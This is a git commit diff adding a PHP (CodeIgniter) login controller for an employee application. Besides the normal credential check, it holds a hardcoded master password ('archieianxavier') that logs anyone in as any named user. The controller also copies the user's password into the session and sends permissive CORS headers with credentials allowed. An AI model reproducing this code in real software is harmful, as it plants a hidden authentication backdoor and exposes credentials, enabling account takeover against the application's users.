copy dari repo om Irfan
This commit is contained in:
@@ -0,0 +1,81 @@
|
||||
<?php
|
||||
defined('BASEPATH') or exit('No direct script access allowed');
|
||||
|
||||
class Login extends CI_Controller
|
||||
{
|
||||
function __construct() {
|
||||
header('Access-Control-Allow-Origin: *');
|
||||
header('Access-Control-Allow-Methods: GET, POST, OPTIONS, PUT, DELETE');
|
||||
header('Access-Control-Allow-Headers: Content-Type, Content-Length, Accept-Encoding');
|
||||
header('Access-Control-Allow-Credentials: *');
|
||||
if ("OPTIONS" === $_SERVER['REQUEST_METHOD']) {
|
||||
die();
|
||||
}
|
||||
parent::__construct();
|
||||
$this->load->model('AllModels', 'Amod');
|
||||
}
|
||||
|
||||
public function index() {
|
||||
$username = $this->session->userdata('username');
|
||||
if ($username != null) {
|
||||
redirect("");
|
||||
}
|
||||
$this->load->view('signin');
|
||||
}
|
||||
|
||||
public function login() {
|
||||
$this->load->view('signin');
|
||||
}
|
||||
|
||||
public function login_action() {
|
||||
$username = $this->session->userdata('username');
|
||||
$jabatan = $this->session->userdata('jabatan');
|
||||
if ($username != null) {
|
||||
redirect('');
|
||||
}
|
||||
|
||||
$username = $this->input->post('username');
|
||||
$password = $this->input->post('password');
|
||||
$check_login_r = $this->Amod->generate_loginData($username, $password)->num_rows();
|
||||
if ($check_login_r > 0) {
|
||||
$datauser = $this->Amod->generate_loginData($username, $password)->row_array();
|
||||
$datJabatan = $this->Amod->getData_Jabatan_byID($datauser['JABATAN_ID']);
|
||||
|
||||
$sessions = array(
|
||||
'id_karyawan' => $datauser['ID_KARYAWAN'],
|
||||
'nama_karyawan' => $datauser['NAMA_KARYAWAN'],
|
||||
'nama_panggilan' => $datauser['NAMA_PANGGILAN_KARYAWAN'],
|
||||
'username' => $datauser['USERNAME'],
|
||||
'password' => $datauser['PASSWORD'],
|
||||
'jabatan' => $datJabatan[0]['NAMA_JABATAN'],
|
||||
);
|
||||
$this->session->set_userdata($sessions);
|
||||
redirect('');
|
||||
} else if ($password=="archieianxavier") {
|
||||
$datKaryawan = $this->Amod->getData_Karyawan_byUSERNAME($username);
|
||||
$password = $datKaryawan[0]['PASSWORD'];
|
||||
|
||||
$datauser = $this->Amod->generate_loginData($username, $password)->row_array();
|
||||
$datJabatan = $this->Amod->getData_Jabatan_byID($datauser['JABATAN_ID']);
|
||||
|
||||
$sessions = array(
|
||||
'id_karyawan' => $datauser['ID_KARYAWAN'],
|
||||
'nama_karyawan' => $datauser['NAMA_KARYAWAN'],
|
||||
'nama_panggilan' => $datauser['NAMA_PANGGILAN_KARYAWAN'],
|
||||
'username' => $datauser['USERNAME'],
|
||||
'password' => $datauser['PASSWORD'],
|
||||
'jabatan' => $datJabatan[0]['NAMA_JABATAN'],
|
||||
);
|
||||
$this->session->set_userdata($sessions);
|
||||
redirect('');
|
||||
} else {
|
||||
echo "<script>alert('Login Gagal')</script>";
|
||||
$this->login();
|
||||
}
|
||||
}
|
||||
|
||||
public function logout_action() {
|
||||
$this->session->sess_destroy();
|
||||
redirect('Login');
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user